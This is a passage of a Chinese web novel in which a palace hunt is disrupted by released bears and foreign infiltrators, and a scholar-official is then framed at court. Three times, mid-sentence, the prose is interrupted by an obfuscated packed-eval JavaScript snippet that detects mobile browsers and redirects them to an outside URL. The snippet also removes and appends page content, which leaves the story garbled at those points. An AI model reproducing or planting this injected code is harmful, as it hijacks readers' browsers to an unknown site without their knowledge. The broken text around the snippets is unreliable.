时青卓小将军出发之前还笑嘻嘻地向叶采苓挥了挥手，惹得好几个人往她这边看。 这行为却也在叶采苓意料之外。 她微微低垂长睫。 却并没有注意到此时候场队伍里，又多了些生面孔。 27. 第 27 章 围场之内，秋日的草场尚未转黄，空气里弥散着草木的清气，带着些许温凉。 狩猎队伍显得十分忙碌。 侧翼是负责捡拾猎物的护卫，这些人着褐衣木甲，见猎物中箭，便急急奔去将猎物取回，放到草场一处供人点数。 队伍中央的贵胄们依旧打马飞驰，一瞬间便只余马蹄留下的烟尘。 此刻叶采苓在人群之中观望，目光自烟尘之下逡巡，不多时便注意到了场地之上那张华贵的弓。 秋日围猎，总要有彩头。 阳光打在弓身之上，灿然若金。今日围猎开始前，众人方才知晓，这弓是用黑柘木制作的，此木已经几无存世。因此早些年以黑柘木制作的几张弓都日趋稀有，价格水涨船高。 圣上今年破天荒地开库拿出此弓，大抵是也觉得需要再振武纲。 因得此前边塞并沿海接连受到外敌骚扰，朝堂诸臣围绕着此问题已经争论多时。 “你也看到那弓了？今日的重头戏应是一会的试弓考校。今晨的打猎只是个开场。”时秋心在旁边同她讲。 “你是如何得知的？” 时秋心道：“我兄长告诉我，皇家围猎，若是真要大展身手，势必要先有侍卫与本地猎户先敲击铁瓮制造响动，把山林里的活物驱赶到草场上。” “之后再放猎犬，拖慢这些动物的速度，方是最适合狩猎的时机——我见这些侍卫都未出动，故出此言。” “原来如此，我亦觉得有理。”叶采苓点头，却有些心不在焉。 她心道明明谢泓也是来了木樨围场的，却一直没见到他。 时秋心眯起眼睛往前望去，“喏，那不是谢大学士么？” 叶采苓踮脚望。 围猎的人里有一人身段极出挑的。 猎场的玄色骑装，勾勒出劲瘦腰身。此刻他微微侧目正在与旁边的人谈论着什么，一撩袍摆，又驱着马悠悠前行。 平日里谢泓出行自有官轿，此时破天荒地坐在那骏马之上，却看着并无违和。 叶采苓本来迟疑着想为什么谢泓会骑术，却忽地想到一景，心下了然。 当时年少春衫薄，骑马倚斜桥。 进士游街，怎么会不上马。 一瞬间的恍然，就好像透过时光在看曾经当年他点探花，入翰林的时候。 那时自然少年意气，但此刻她望着他，却觉得如今沉稳端方的谢学士，有这样一面亦是很好。 便觉得这围场也显得有意思起来。 * 晌午过后，先前出发的马队便热热闹闹地回来了。 叶采苓头回参与围猎，确实感到很新奇。直到午宴，皇上也在此露面。 她此前上早朝时只听过皇帝的声音，此时隔着午宴的重重几案，抬眼望去却发现，这位大周朝的九五之尊，看着却比想象中清减许多。 皇帝面色有些青白，眼睛微眯着有几分怠。 他开口讲话时终于显得有了些精神。 “今见诸卿齐聚木樨围场，朕心甚慰。我大周建朝之时，厉兵秣马，诸臣凭骑射之艺，立不世之功。” 他举起手中金樽，望向身边围绕着的众臣，道：“朕望诸卿在围猎中，能尽显英勇，绵延大周千秋之业。” 众人齐声应和。 午宴后未过多久，便听到骏马的嘶鸣。马蹄踏在地面上，一队马进了围场，矫健俊逸。 又有宫中侍卫把先前放在北边的箭靶与弓抬了进来。 这便是要比试骑射之术了。 “不知道谢学士会否参加？”时秋心确实很好奇。 叶采苓摇摇头：“好几日未见他，我也不知晓。”心里却是有几分期待。 之前作为赏赐的黑柘木弓的旁边便是箭靶。 箭靶成圆盘状，上面用油墨套印着不同的色环。 眼前第一个靶子放在围场中心处。第二个则是与它拉开了些距离，约二十步的样子。共三个箭靶，依次排开。 擂鼓的侍卫站到了鼓前。围场地方大，宫里惯常使用的铁铎在这里派不上用场，唯有鼓声方能传得足够远。 一声重重的擂击，这便是开始比试的信号。 准备比试的人先朗声报上姓名官职，便挽弓射箭。有传令的侍卫从箭靶附近起身，测定后报上环数。 只是，为何要设立三个箭靶？若是只为了备用更替，何必互相之间间隔几十步呢？ 忽地听传令官的声音更大了些。 “边宁侯，齐康，射中一百步靶——” 箭矢离开弓弦时发出一声沉闷的响，于此同时远处的箭靶被击中。 被射中的靶子带到众人面前展示。叶采苓方才见到，第一个箭靶用的是牛皮垫，已经被箭矢穿透，直至第二个箭靶方才停止。 皇上道：“我便知晓，我朝武将大有可为。当赏。” 便有太监躬身退了下去。 时秋心此刻正在叶采苓身边，悄声道：“只是今日的头彩，怕是要等人射中第三个靶子方才有赏，此前只听家兄提起过，现在亲眼看过去，能击穿一个箭靶已经很不容易了。” 叶采苓随着她目光望去。 确实，第二个箭靶已经是一百步开外。要让箭矢穿透箭靶，落到最后的目标上，需要持弓人有极强的臂力，甚至还要预判箭头穿过前几个箭靶后，对行动轨迹有多少影响。 这样的能力，非在沙场历经千百次，不能练就。 叶采苓忽地想起：“你兄长刚刚可否参加了？成绩如何？” “当是快到他了。” 时秋心道。 时青卓笑容明朗，勒停白马，语气上扬。 “定远军左将，时青卓。” 却是没有做过多的准备。 场外众人只见飞矢如流星，直直冲破第一个箭靶，直往第二个箭靶去。又是一打眼的工夫，便听到场边有人来报。 “时青卓，” 报信的人也停顿了一下。 “中二百步靶——” 本以为要等到最后方有人能连破两靶，没想到此时便有如此年轻的武将崭露头角。 众人皆为之一振。 耳边却轰的一声，传来一声奇异的嘶吼。 这是……猛兽的吼声！ 但见围场外扬起烟尘。 原本留着用来围猎的猛兽，已是挣脱了笼子。 远处见到两只黑熊直立的身影，径直向着围场中来，一路横冲直撞，有眼尖的人已经望见地上殷红的血。有人已经死在熊爪下了。 “驯兽侍卫？驯兽侍卫为何不来？” 原来负责守卫猛兽的太监此刻慌急地奔去寻人。驯兽侍卫应该与猛兽形影不离才是，但此刻那些侍卫服制看着像是驯兽的，却立在远处不动。 此前敢用这些猛兽，是因为内务府早有惯例，有专门的驯兽侍卫饲喂掺了麻药的食物。 直到有太监见到瘫软在地上的身体，却是一口气梗在心口。 两名驯兽侍卫皆已殒命。 那，此前场边着侍卫服的又是些什么人？ “敌袭——保护圣上——” 时青卓不愧是沙场上磨炼出来的，此刻也不负左将军的名号，一时间立即开始指挥，成为了众人目光的核心。 其他武将虽无他的反应速度，但手边有武器的便也抄起武器，逐渐围拢成一圈。 遇到危机抱团是下意识的反应。 此刻黑熊在场内悠悠荡荡，恰是把皇帝那边分到了身后。 “快撤！” 皇帝颤抖着伸出手，扶向那位搀扶他的侍卫。 “快走，小窦，我们快走——” 话梗在喉头。 对方的脸抬起，却是一脸异域相貌，哪里是他熟悉的近侍小窦？ 皇帝惊恐之间下意识地后退，喉咙发出恐惧之声。所幸有武将注意到了这里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464266|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几步奔过来护着皇帝。 陌生人见一击不成，却冷笑一声，往围场中间去了。 此刻人群以黑熊行走的路线为分野，熊背后的文武大臣们借机撤退，但迎着熊行走路线的人们却不敢轻举妄动。 时青卓心里惦记着余下的人，见他护送的这些人已经撤离到安全地带。便道一声得罪后打马疾驰回去。 * 围场中间依旧有许多被熊逼退，无法离去的朝臣。 叶采苓与时秋心被逐渐推挤到人群边缘。 “围场怎么会放任野兽逃窜……为何有人作乱，却好似也不是奔着圣上去的。”时秋心在灾难来临之时还在思考。 叶采苓摇头:“你也见到那些异邦人了，我看那些人彼此间交流的番语，却是很像枢兰那边的口音。” “我想他们并不敢胆大到行刺一国之君，但此次围场之变，却一定有他们的目的。” 只是两人再怎么借商议来排解紧张，棕熊却不紧不慢地漫步进围场了。 “你们莫要动，据说熊专捕食会行动的人。”有人压着嗓子说。 眼见着黑熊从在场地内闲逛，变得逐渐对人有兴趣起来。 却听得黑熊一声吃痛的嘶吼。 木樨围场终究是皇室围场，近卫军们反应并不算慢。此刻近卫骑兵已到，在马上便拔出刀剑，与那些敌人缠斗起来。 正是焦灼的时候，另一只熊却在闻到血腥气后发了狂，直直冲着人群撞去！ 熊爪极其巨大，裹挟着猛兽巨大的冲击力袭过来。 熊爪之下的那位新科进士，此刻已经绝望地闭上眼，听天由命的样子。 却见眼前熊爪忽地一滞。 ——有箭矢自远处而来，带着熟悉的破风之声，精准地在熊后脑上扎出一蓬血花。 黑熊摇晃着，逐渐坠地。 众人惊呼之下松了一口气，都下意识地去看援护他们的人。 果然，方才射箭比试时刚得头筹的时小将军，拎着那张黑柘木弓，意气风发地向他们招手。 “好了，大家都随我来。” “多谢时将军，我等今日方得脱险啊。” 人们都放下心来，逐渐向外圈散开。已有人前去致谢。 却是异变陡生。 那黑熊在地上留下两个带血的爪印，以掌撑地，仍是立起身来。 或许是一箭并不足以致命，这熊竟然并没有被打死？ 在绝对的体积面前，人并无反抗的可能。它扬起熊爪，双目猩红，此番却真是下了重手。在连袭几人后它好像尚未满足，却是张开大口。 离那熊最近的，是叶采苓。 看着那泛着腥气的黑色皮毛向她靠近，叶采苓的心无法压抑的狂跳。她几乎能窥见那熊森森的牙齿了。 生死关头她只能下意识地伸手格挡，但心里也清楚这根本是无用功。只是若不如此，又有什么办法呢？ “小叶，闪开！” 近乎绝望的一刻，她却好像听到了谢泓的声音。 下一秒。 一道湛然银光。 男子的身影奔来，闪着寒光的直刃障刀在众人尚未看清之时，被利落地刺进了黑熊的心口。 只一招，冷静干脆的如那人模样。 “……公子。” 不用想也知道她此刻的狼狈，但谢泓眼睛望着她，语气里只有如释重负的欣慰。 心跳终于在此刻回到正轨。 他带着如释重负的叹，从喉咙逸出一句。只道：“还好来得及。” 时青卓拎着弓慌忙地跑来，此刻看一眼熊尸首，语气却是由衷佩服。 “真是好身法，敢问谢兄师承何处？” 谢泓摇摇头。 只有他知道自己刚刚究竟经历了怎样的心潮起伏，此刻根本没有余力回话。 眼睫低垂，他只在心里反复想着。 还好来的及啊。 28. 第 28 章 帘外暴雨。 熊尸已被拖走，地上留下的湿淋淋血痕在雨水的冲刷下也逐渐模糊不清起来。 圣上大怒，下令彻查。所有人此刻封闭在木樨围场的行宫之内，不准随意走动。 眼见着已经快接近子时。 打更声遥遥传来，叶采苓躺在卧房辗转反侧，心里总不自觉地想到方才晚间的情景。 那是谢泓于乱局之中向她伸出的手。 他好像……总能游刃有余。 那时的刃光映在她眼底，在周遭的尘土里湛然如星。 她尚在出神，心跳有些乱。 却听到走廊传来轻微的吱呀声。像是行宫木门被人开启的声音。 这倒并不稀奇，暴雨的缘故，空气里本就弥漫着潮湿的水汽，此刻木头发出吱呀声，本也见怪不怪—— 但不知道为什么，她却下意识地觉得有些不对。 宫内下人出行皆要成双成对，以起到互相制衡的目的。而此时参加围猎的主子们，出行更是必然有婢女小厮跟着。 此刻廊外的脚步，却为什么只有一个？ 窸窸窣窣的响动，还有轻微的金属撞击之声，来人似乎在撬锁。 叶采苓周身警觉起来。 她身为新科女官，在行宫内所住的地方算是偏僻的。 再向那边去，住的就是寻常宫女了。所以那人在撬宫女住房的锁？ 她立即起床，喊醒外间陪侍的女婢。 “今日情况不是很对劲。” 女婢是行宫所属，并不是叶采苓个人的婢女，她听到叶采苓的描述，仍是尽职尽责地给主子指了一些住人较多的行宫宫殿，但并没有听叶采苓的话与她一起出门。 叶采苓尚在犹豫，房门却被人急促地敲响了。 却见到一名宫女怀里抱着一个药篮，身上有血迹。她足下亦有深褐色脚印，那是血将要凝结的颜色。 “贵人，”宫女用力喘气，脸色却逐渐惨白下来，“这是兽苑盛药草的篮子。” 听来人说了几句，叶采苓显然明白了什么，她连忙将人掩到内室去。 果不其然一会便有人敲门。 来者虽然着侍卫服，面容也是大周人的模样。但经历了围场的前车之鉴，她觉得此人大概率不是真侍卫。 她神色从容，对着对方的问话，只道并不知晓。 又佯装无意地问了宫内日常的落锁规矩。果然，几句话下来，她应付完此人。 心里却一凉。 宫内亥时之后只留安远门一道宫门。此人落锁的规矩都不知晓，绝对是假冒的。 此时行宫在她的眼中是分外危险，她没有自保能力，若是真有人要强行搜查这宫殿，短时间内确实无法阻拦。 她转头看宫女，却见宫女已经虚弱地没有力气行走。只将篮子递给她，做了一个掀开的动作。 “……有东西……” 叶采苓凝神道好。她听到走廊外那人似乎去了更远的地方查问，便果断地闪身而出。 凭着刚刚婢女的描述，她加快步伐往前走着，罗裙随着脚步不断翻动。 要先保护好这个篮子。 但身后似乎也传来了追赶的声音。 “姑娘请留步——” 她心道绝对是那位假侍卫，此刻反而加快了脚步。 前去行宫中人最多的殿宇，此刻已经来不及。方才听婢女所说，此刻离她最近的，大抵是长公主的行殿。 身后的人也并不是傻的，见这贵女不听他招呼反而越行越快，也发了狠的追逐起来。 叶采苓心下一凛。 哪有侍卫敢如此追逐主子的？ 她加快脚步，眼见着前方一个转弯，轻捷的转身。情急之下推开厢房的门。 “还请公主恕罪——” 她心道长公主此刻一定会援护她。 抬眼，却在看见对面男子的时候彻底吃了一惊。 谢泓坐在厢房一角，正微微偏头，给自己的肩背上敷着药粉。身后是一排排中药柜子。这似乎是行宫内的医馆。 能见到他的锁骨与漂亮的手臂线条。 原来还是受伤了么。 但此刻顾不上许多了，不管是何人，此刻她都需要有人能护她周全。 自己似是走错路。她只来得及举起篮子，低声快速道：“方才有宫女给我此物，像是与今日变局有关……” 谢泓心下了然，只道：“我知晓。你听我安排。” 他语气依旧沉稳，语速却稍微快了些，道：“医馆只有一进厢房，无法藏人。此刻你佯装去药柜取药，不要露脸，只做医女的样子。” 他遥遥一指药柜方向，却听到门外已经传来几声重重的闷响。 偏偏方才叶采苓进来的时候走的急，并不曾反手锁上门—— 此刻眼见着门马上要打开。 已经来不及去药柜。 哐，门开了。 来者满心觉得自己今日一定抓到人，却只见到一副……旖旎景象。 清俊男子半倚靠在床榻之上，衣襟向外敞了几分。美人青丝委地，正以手抚摸男子肩头。 听到外面有响动，她却是极其赦然地把脸向男子怀里埋去。 身旁一盏昏黄灯。 来人愣了一霎，又见两人服制看不出身份，只直愣愣问道：“你们有无见到一名提着篮子的女子？” 却见那面前的男子微闭双眼，并不理会他。 “敢问……” 等那问话又在空气里顿了许久，谢泓方才懒懒地抬眼，语气却忽地一凛。 “你是何人？怎么敢这样与本阁讲话？” “不知宫规，如今言语轻慢，自去领罚。” 男人显然吃了一惊，并未想到眼前人竟是内阁学士。但仍喏喏着，眼睛却还是不死心地往那边瞟。刚刚见到的那女子，衣裙看不真切，颜色却好似有些相同。 女子背对着门，微微低下头，纤手好似拈起什么药粉。 看来是上药的医女？ “还不退下？” 再问便是僭越内阁重臣了。 眼见周遭气氛都沉了几分，男子终于喏喏应声退去。 叶采苓终于回神，道：“所幸今日有公子——” 话却忽地顿住了。刚刚生死攸关的时候她并无察觉，此时终于回神。 谢泓刚刚要给今日受伤的地方上药，上半身肩臂处自然是裸着的。 她从未见过男子如此情态。更不用说谢泓本身容貌卓然。 方才的赦然是伪装的，只为了更好地藏住脸。此刻却真的并无作伪。 空气中一股药材清苦的香。 谢泓见叶采苓一张小脸却逐渐通红起来。 也后知后觉地明白了什么，却是清咳一声。 “无妨……” 声音也有几分低哑。 门口却又传来敲门声。 这次是真的医女：“谢学士，太医院遣我来医馆，方才药粉缺一味白芨，现下已经取用来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464267|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 叶采苓松了一口气，道：“那我便离开……” 却又想到什么，神色复杂起来。 此刻她若出行，势必会遇见门口宫女。她现下也是女官，若论身份，却也与谢泓一样都是朝臣。 此刻两个未婚男女共处一室，而她方才奔跑之际发丝凌乱，裙角亦有血迹。 若宫女真的开门，会否有谤言四起，蜚语流传。 谢泓见她神色，已猜到她也想到这层。便道。 “回你行宫已经不安全，你不如稍等我片刻，我送你去找信任的女眷。” 语气里都在为她思虑。 见叶采苓点头，他理好衣襟，推门与外面的医女交涉了起来。 再推开房门，却见叶采苓睡着了。 目光却不自觉地瞥到她的眉眼。 密密的睫毛低垂，看着却很是乖巧。却更像是谢泓初见她时候的模样。 只不过叶采苓在这种时候自然不会放松警惕，听到有响动声便立即睁开眼。 谢泓眼看着她的眼神从开始的极度警惕，到见到他的时候那一瞬间的放松，心里却莫名温软起来。 他低声道：“我方才问过了，这里有医女的服饰。你换上一套，我送你去戚夫人她们那里，你与她们一同歇息，先捱过今晚。” 叶采苓道好。 谢泓依旧很知礼的守在外面，却忽地一怔。 医馆的那盏灯放的位置实在有些巧。他似乎……能在门扇上看到叶采苓换衣时的影子。 这厢房他毕竟不熟悉。但此时出言提醒，却是不是会显得孟浪？ 谢泓此刻却破天荒地犹豫起来。 眼角余光却瞥到她散下头发的影子，温雅曼妙。 叶采苓换好医女的服饰，却是不疑有他，只见到谢泓在前面大踏步的样子。 公子今日为何走的如此快？ 谢泓将她送到朝臣女眷之处，只低声道。 “明日我上报此事，你今日注意安全。” 叶采苓点头称是。 * 次日一早依旧落雨。 众朝臣挤挤挨挨地在行宫内最大的殿宇里聚集。 近侍湿淋淋地进来，跪下给皇帝上奏。 皇帝脸色极其沉闷。 “昨晨朕见到的那些武将呢？真有了血光，怎么不见露面？” “怎的最后还要靠内阁给你们收尾？” “你们自己不觉得荒谬么？大理寺卿何在？刑部何在？” 却听到刑部侍郎前行几步。 道：“圣上，此事刑部已彻夜查探。我们见问题，主要出在麻药水上。准确的说，是那日有人偷换了饲喂的材料。” 大理寺也不甘落后。大理寺卿接道：“麻药水被人偷换，此事再明显不过，我们亦查探到了。若论事件性质，显然是谋逆，只是——” “朕只问，可有疑者？此时捉到了么？”皇帝有些不耐烦。 大理寺卿却是瞄向内阁众人所在的方向。 得到人群中一道鼓励的眼神后，他有几份犹疑的开口。 “大理寺是觉得，此事必定有朝臣内应。” “谢学士……却像是有几分嫌疑。” 满座哗然。 有人想到那日谢泓反应之迅速。 的确，许多武将都没有他反应快。 若是他先得知消息再去行动，却是真能解释得通了，不是么。 有朝臣耳根子软，这时已经面面相觑起来。 29. 第 29 章 成事忌张惶。 虽然听到如此严重的指证，谢泓的脸色依旧沉稳，只静静的将眼神移向殿中。 齐寺卿无端有些心慌，移了眼并不看他。 只望着大殿最靠前的那道身影。 齐寺卿便对着皇帝奏道：“皇上圣明，黑熊暴起伤人，只能是因为兽苑管理不力。此事再明显不过，任谁人去查探都能想到这层。” “故臣谨遵天命，连夜着实细查。却见到许多存疑之处。” “这头一件，便是今兽苑猛兽暴起前，有内臣进入过。” “齐寺卿，若只是有臣子进入，并不能代表有何问题，兽苑并无禁令。”裕王道。 “裕王所言甚是。故微臣连夜勘探，探的正是当日余下细节。”齐寺卿道：“我大理寺有评事擅长复原现场，我便请此评事前来，讲述当时情景。” 有一名着褐衣的大理寺评事上前。 大抵是未曾见过这样的场面，他声音有些急促，脸色微红。 “今得见圣上，实乃我大理寺万分荣光，惟愿圣上明察此事，勿使奸臣扰我朝纲，危我大周子民性命。” “罢了，你便直说，到底是如何情况。” 皇帝眼神恹恹地扫过朝臣：“若说谋逆，朕倒是并不相信有人会做的如此明显。但此事决有问题，今日所涉及朝臣，有一说一，都要着实查到。” “你报上来。” 那大理寺评事摊开一卷文书，读出上面的记录来。 那日有人潜入兽苑。之后脚步在兽笼前，药草柜前都有停留。兽苑药草柜有翻动的痕迹，而服装也有被人穿过的痕迹。 这证明有人换过医官的服饰。 在这种黑熊伤人事件的前夕，这一行为便显得尤为古怪了。 更有力的证据来源于兽笼地面。 地面上有一块衣料被揉皱后留下的印痕。像是仓促之间，衣物落在地上后，被人慌张之中踩到。印痕中有几缕撕裂的布料细丝，上面似乎有色块。 那色块能对应上的，是内阁文臣补子上的鹤纹。 “如此，却能说明此事有我阁内朝臣的参与。”段首辅拈须，语气有几分唏嘘。 谢泓坐在场中，却好像言语间的指摘不曾影响到他一样。 “谢爱卿，你有何解？”皇上道。 谢泓起身温声道：“回圣上，我们为臣子的，处理事情的头一桩便是要理清楚行事的思路。此番大理寺评事说我有谋逆之心，我听他的叙述，似是有些道理。” 他道：“但万物总归有联系，仅凭衣料这一佐证，的确是牵强。” “自然。”段首辅道：“本朝查案严谨，并非儿戏。谢学士稍安勿躁——不要失了方寸。” 最后一句却是意味深长。 叶采苓在旁边听着，自然明白段首辅这一句，听着是关心，实则是在给谢泓增加压力，暗指他心虚。 谢泓不动声色，只道：“我一心向着圣上，这些责难自然受的住。” 大理寺评事只为正七品官，何曾见过此等大员争论的场面，正立在殿中准备下场。 谢泓扬手示意那评事莫动。只望向他，问到：“如此，我便问你两句。” “大理寺口口声声认为我有涉及此案，究竟为何？” 那人一愣，却并不惧怕，只低头翻文书道：“自是因为谢学士昨日明明身为文臣，却能精准预卜意外之事。纵然我大理寺诸位同僚，在当时的局面下也无法全身而退。事出反常，必有差池之处。” 谢泓道：“只是你们如此说来，依旧都是揣测。可有人证？” 那人道：“既然大人直指我大理寺，小的也不敢不回应了。此事涉及范围极广，当时涉事的人近乎全部死伤，足见背后之人心思缜密狠毒——故而人证尚在查探。” 谢泓微微颔首，却是从容起身，行至殿中。 对皇上拜过后，谢泓道：“微臣有一事不明。” “若应对不力，应是说明本应负责此事的人行事不当，怎的臣听大理寺的意思，却像是说那日围场之变，怪罪的却是臣下。” “臣恳请陛下细思，此时应深究的，应是此事背后之人行举之因。事出必然有因，方能知晓后续打算。” “若不祛此患，其后再逢此事，却又何如呢？” 皇帝此刻正在思考，听到这话却是点头。 皇帝：“时小将军那日亦身处乱局之中，亲见那些贼人，可否与众爱卿说说？” 时青卓闻言，自朝臣中越出，向皇帝叩首后道：“正是。臣昨日与那些人曾交手。他们极其谨慎，却从身法上能看出，应是边塞一带的人。边塞与甘州接壤的，近些年与我大周又屡有摩擦的，便是枢兰。” 谢泓凝神道：“这便是了。” “那日臣情急之下前去援救圣上，亦是发现来者有枢兰口音。” “枢兰地处边塞，行事一向粗放。” “且臣那日注意到，虽有恶熊伤人，但枢兰贼人并没有刻意屠杀我朝臣。” 段首辅道：“谢学士说笑，我大周自有百年巍巍气韵，怎是枢兰贼人敢靠近的。” 皇帝正在凝神听，猛地被段元辅这一句打断，有几分不耐。 谢泓则是并无受到影响，从善如流道：“元辅大人说的正是，枢兰并未刻意伤人，自然是仰仗皇上天恩。” “故我见方才大理寺提出内臣脚印，再联合时小将军的判断，却有一思。” “谢爱卿请讲。”皇帝的眉目方才舒展些。 “此番变局，却令臣想起那日京中画舫火烧一案。同样是并无朝臣死亡。”谢泓道。 “费劲周折深入内廷，却只将事情闹得人尽皆知。只可能说明，来者的确不想屠杀。他们自然有其目的，那只可能是为利益。” “我见此事，像是某种警告。” “前些日子与枢兰谈判，我并不在场，但能猜得对方有些用意不宜在朝堂之上明示。” “譬如以当地黍麦要挟我朝马匹，诸如此类的要求。见我使臣不应，便出此下策警示。此事前朝并非无先例，已有史书记载。元扬三年有类似事件发生，同样是应对枢兰。” 谢泓立在朝堂上，却有许多人露出了然神色，微微点头。 文臣们或许短时间无法想到此事与史书的联系，但一旦被谢泓点出，却是也都纷纷忆起，赞同他的意见。 人群之中，任丘额头已经渗出细细密密的汗。 他左右偏头看了一下，方低头抬袖，欲要揩掉却又收手。 不能让谢泓看到有任何迹象，此子入朝虽晚，但却的确难缠。 旁人并不知道，他却是知情。谢泓虽然是揣测，但却已经十分接近真相。任丘本就是身兼西北一地的行度指挥。而此番与枢兰议和的使臣，也正是他的人。若真查下来，少不了他的责任。 皇帝顿了一顿，却是问了段首辅。 “段卿，枢兰谈判由你主导，前些日子谈判进展，可有变数？” 所幸又有人出来解围，段首辅与见此事逐渐不受他们控制，道：“若事情如谢学士所论，自然有理。” “但我朝与枢兰议事，一向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464268|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我们主导。枢兰蛮夷，并不能左右局势。我见今日之事，还需追本溯源。方才那内臣衣料之事，没有解释。齐寺卿，大理寺可有其他证据？” 一句话，却是将刚刚谢泓引去的事态又拉了回来。 齐寺卿会意，又站得笔直了几分，只扬声道：“我大理寺一向严格依律断案，自然不会信口开河。虽然谢学士擅辩，但证据却无可辩。恳请圣上，允小臣呈上新证。” 皇帝一言不发，只从鼻腔里发出哼声。 这是让他继续说的意思。 证物被一位医女小跑着呈送上来。是一把细牛皮制的刀鞘，鞣制的极好，只是上面沾染了许多褐色粉末。 “此刀是谢学士的并无异议。而这药粉，我已送去太医院验过——白芨、冰片、黄柏，正是谢次辅身上惯用的药。且今日，谢次辅依旧在用此药。” “这足以证明那朝臣是谢次辅，纵然能言善辩，但他曾前去药房，则是如山铁证了。” 叶采苓在殿下听着，却是感觉一股血冲上了头顶。 她自然明白，此事是无稽之谈。 谢泓的药明明是受伤之后方才敷用。此刻对方言语之间看似讲理，但越讲理，在她这种知道内情的人眼中，便越知道对方在刻意构陷。 即使谢泓理所当然地辩解，说他即使用了伤药，也不能证明便是他主使这类话。 但怀疑的种子却已经种下。 却终于有一道端庄的女声出现在殿宇之下。 长公主经过昨夜的混乱，今日容色有些疲惫，服制却一如既往透着隐隐贵气。一袭银红牡丹掐丝绫袍，依品级戴着嵌八宝的凤簪。 此时她有些倦怠地道，“孤有一事要禀。” “长公主请讲。”皇帝不会不给长公主面子。 长公主道：“今日之事，主要应是着眼于贼人如何混入，又是如何遣开驯兽侍卫，放出黑熊的。因得诸人此刻身处宫门之外，需要堵死此人的路，方能防止类似情况出现。” “孤见方才商议的明明好好的，却又转到是否谋逆上去了。” “只是皇上，孤觉得，若真要谋逆，有这实力的人为何不今日直接斩人夺印？” 此话一出，殿中皆寂。只因其中意味过于明显，还真的只能长公主这种皇室血脉出言，方不算僭越。 “自然是因为只斩人无用。”段首辅见无人应答，只道：“若只斩人，周遭的将士如何？御林军如何？” 长公主凤目一凝，却道：“段首辅却还真是抓着谋逆之事不放，只是今日却要让首辅失望了。” 她道：“朝内女官昨日亦在，却有一位我极其信任的女官，为我报上一处证据。” “——本想着等回朝彻底清查时，再报上来。今日却见到事情越加缠杂不清了。” 长公主唤上来的却是一名小宫女，手里捧着的赫然便是叶采苓昨日所见的篮子。 叶采苓在人群中，遥遥与长公主的视线碰上，对方给她递来一个信任的眼神。 长公主有心在众人面前推举叶采苓。 此时笃定道：“叶女官，你行事聪慧灵醒，此事由你来叙述。” 段长明在心里则是又惊又怒。 怎么又是此人？ 时秋心在叶采苓一旁，猛然替好友提了一把心。她并不知悉昨日之事，今晨也无暇与叶采苓仔细交流，此时只觉得事出突然， 叶采苓被猛然点起，却显得并不惊惶。只起身柔声道。 “——昨日之事，臣女并无涉足之心，但却阴差阳错，有了一段机缘。” 30. 第 30 章 夜深风动。 一缕烟气自段府悠悠荡荡升出来，直向着天幕飘去。内阁首辅段长明正坐在炉火前，将一卷细白生宣凑上去点燃。 眼见着那纸逐渐蜷曲焦黑起来，他微微出一口气，并不作声。 他身边垂手侍立着一人。 任丘语带焦灼，却仍强行压抑下来情绪，只对段长明道：“恩师，学生这些日子实在是咽不下这口气。” “您见张次辅他们几个，原是站我们这边的，但自围场回来后，我可是见到他们与谢泓谈笑风生哪。” 段长明低头吹一口磁青茶盏上的热气，欣赏着那茶汤。 澄黄的色泽，正是秋日应当饮的祁红。 任丘睨一眼段长明的神色，又补道：“恩师近日称病，有所不知——那谢泓近日却要在府中设私宴，摆明了要与您作对。” 段长明仍不作声。 任丘道：“此前他入京许久，可都一直谨小慎微，不曾有过大张旗鼓。这不是公开要与您作对是什么？” 段长明长叹一口气，微微掀起眼皮：“任学士，我只问你。” “那私宴名单上有张次辅、于次辅、礼部刑部侍郎。连那日指摘谢泓的齐寺卿都被他邀请了去了，怎的端的没有你？” 任丘大惊。 “……恩师怎知？” 他知晓段长明自木樨围场回来后便称病，已经月余未曾上朝，而谢泓私宴之事尚未公开宣称。他自己也是刚得知消息不久。 却不曾想段元辅却是了如指掌，虽称病避世，却比他得知的还要全面。 段长明满意地看到任丘瞳孔巨震，心道自己的敲打有了用。 又严厉道：“你心里应当有数，此前背着我私下联络枢兰，不过是因为甘州谈判的时候利益分配不均，你可知晓？” “学生，学生知错！” 任丘冷汗涔涔，已经知道自己先前以为瞒的很好的勾当，并没有瞒过段长明的眼。他承认自己自从投靠段长明以来，是有些轻慢。 但此刻他却是彻底明白，眼前这位须发有些白的老人，却依旧是这内阁里最精明的掌权者。那一句“恩师”也又真心实意起来。 段长明等任丘又惶恐地表了一番忠心，方才悠悠道。 “你要知道，单凭你们并斗不得谢泓。” 